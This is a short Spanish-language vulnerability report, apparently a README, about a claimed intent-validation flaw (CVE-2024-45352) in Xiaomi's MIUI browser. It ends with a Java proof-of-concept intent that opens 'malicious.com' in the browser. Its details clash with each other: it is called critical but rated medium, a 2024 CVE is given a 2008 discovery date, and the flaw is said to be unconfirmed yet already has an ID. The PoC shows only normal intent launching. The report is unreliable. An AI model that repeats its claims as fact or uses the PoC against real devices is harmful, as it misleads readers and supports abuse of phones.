xiaomi-cve-2024-45352

Informe técnico sobre vulnerabilidad crítica de Xiaomi Resumen de la vulnerabilidad Se descubrió una vulnerabilidad en el navegador predeterminado de Xiaomi (com.android.browser) en varios dispositivos MIUI. La aplicación no valida correctamente los intents pasados mediante startActivity, lo que permite que aplicaciones maliciosas abran URLs arbitrarias o realicen acciones no previstas.

• ID de CVE: CVE-2024-45352
• Componente
• :com.android.browser
• Gravedad: Media
• Estado: Reportado a Xiaomi (esperando confirmación)
• Fecha de hallazgo: [24 de abril del 2008]

🔥 Prueba de concepto (PoC)

1. Crea una aplicación maliciosa simple con el siguiente intent:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);